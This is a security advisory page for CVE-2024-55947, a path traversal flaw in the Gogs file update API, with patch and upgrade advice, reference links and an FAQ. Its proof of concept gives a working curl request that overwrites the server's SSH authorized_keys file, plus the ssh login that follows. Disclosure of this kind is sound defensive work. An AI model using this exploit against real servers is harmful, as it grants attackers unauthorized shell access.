CVE-2024-55947: Gogs has a Path Traversal in file update API
First published: Mon Dec 23 2024(Updated: )
### Impact The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. ### Patches Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. ### References n/a ### Proof of Concept 1. Generate a Personal Access Tokens 2. Edit any file on the server with this ```bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' ``` 3. ssh connect to remote server ```bash ssh -i temp git@localhost -p 10022 ``` ### For more information If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| go/gogs.io/gogs | <0.13.1 | 0.13.1 |
| Gogs | <0.13.1 |
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Reference Links
- https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg
- https://github.com/gogs/gogs/issues/7582
- https://github.com/gogs/gogs/pull/7859
- https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41
- https://nvd.nist.gov/vuln/detail/CVE-2024-55947
- https://github.com/advisories/GHSA-qf5v-rp47-55gg (Advisory)
Frequently Asked Questions
What is the severity of CVE-2024-55947?
CVE-2024-55947 has a high severity rating due to its ability to allow malicious users to write files to arbitrary paths, potentially compromising the server.
How do I fix CVE-2024-55947?
To mitigate CVE-2024-55947, upgrade to Gogs version 0.13.1 or later, which prohibits writing files outside the repository Git directory.
What systems are affected by CVE-2024-55947?
CVE-2024-55947 affects Gogs versions prior to 0.13.1, allowing unauthorized file writes.
What is the primary impact of CVE-2024-55947?
The primary impact of CVE-2024-55947 is the potential for a malicious user to gain SSH access to the server.
Is CVE-2024-55947 being actively exploited?
There is no current public evidence indicating that CVE-2024-55947 is actively being exploited, but it remains a high-risk vulnerability.
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